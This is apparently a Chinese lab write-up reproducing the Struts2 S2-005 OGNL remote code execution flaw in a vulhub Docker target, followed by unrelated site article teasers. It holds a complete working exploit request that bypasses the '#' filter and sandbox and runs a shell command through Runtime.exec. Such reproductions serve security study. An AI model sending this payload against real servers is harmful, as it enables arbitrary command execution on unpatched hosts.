vulhub-struts2-S2-005 远程代码执行漏洞复现

news/2024/11/8 6:49:24/

漏洞描述

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

  • S2-003 使用\u0023绕过s2对#的防御

  • S2-003 后官方增加了安全模式(沙盒)

  • S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

是把锁钥匙给插在了锁头上

漏洞搭建

docker-compose build
docker-compose up -d

搭建成功,访问 靶场

 漏洞复现

通过burp suite抓取数据包,并带入poc

 poc:

GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1

 

在/tmp目录下创建了一个success。

验证poc是否成功

docker exec -it d359ba3d2739 /bin/bash

 复现成功

 

晚来天欲雪,能饮一杯无


http://www.ppmy.cn/news/468899.html

相关文章

最新内网通3.4.3055版本 免广告码 积分码 算法

最新内网通3.4.3055版本 免广告码 积分码 算法

【报错】HookWebpackError: Only file and data URLs are supported by the default ESM loader.

问题: 今天webpack在打包过程中使用copy-webpack-plugin插件的时候,报了以下错误: HookWebpackError: Only file and data URLs are supported by the default ESM loader. Received protocol node:at makeWebpackError (E:\vue\02-webpack\…

C++:罗列出1~100000000的所有雷劈数

雷劈数,定义为:将正整数n的左边和右边(如3055拆分成30和55)相乘结果为n 最小的雷劈数:81 问题:找到1000000以内的所有雷劈数 思路:雷劈数既然能为两个数相乘,说明它肯定是完全平方…

【深度学习】3-1 神经网络的学习- 学习基础/损失函数

学习基础 神经网络的学习。这里所说的“学习”是指从训练数据中自动获取最优权重参数的过程。 神经网络的特征就是可以从数据中学习。所谓“从数据中学习”,是指可以由数据自动决定权重参数的值。 数据驱动 数据是机器学习的命根子。从数据中寻找答案、从数据中发…

win7下安装网络共享打印机 hp LaserJet 1010

公司环境如下: 打印机:HP LASERJET 1010 打印机主机操作系统:WINXP X86 需要连接网络共享打印机的电脑操作系统: WIN7 X64 在安装网络打印机前,先将在自己的电脑上添加一个本地打印机。 选择创建新的本地端口 输入…

打印机批量扫描显示服务器超时,惠普打印机常见故障及解决方法,27年打印故障经验总结...

原标题:惠普打印机常见故障及解决方法,27年打印故障经验总结 1、问:惠普3030打印普通文档没问题,打印word就出错。 答:故障是word文件出错。 2、问:惠普3030扫描灯一直在原位移动。 答:是扫描器…

freeswitch对接移动IMS参数指定和源码修改

因为移动的IMS对接都是注册的模式对接的&#xff0c;所以废话不多说&#xff0c;直接上gateway配置数据 <include> <gateway name"8610xxxxxxx"> //此处的格式为86区号号码&#xff08;区号不带0&#xff09; <param name"realm" valu…

Elastic:在 CentOS 上一步一步安装 Elastic Stack

在我之前的许多文章中&#xff0c;我介绍了如何在 Ubuntu 系统上安装 Elasticsearch。没有 centos 的安装步骤。其中的原因是我自己没有一台 centos 的机器。在今天的教程中&#xff0c;我来详述如何使用 Vagrant 来安装 centos&#xff0c;并在它上面安装 Elastic Stack。 如…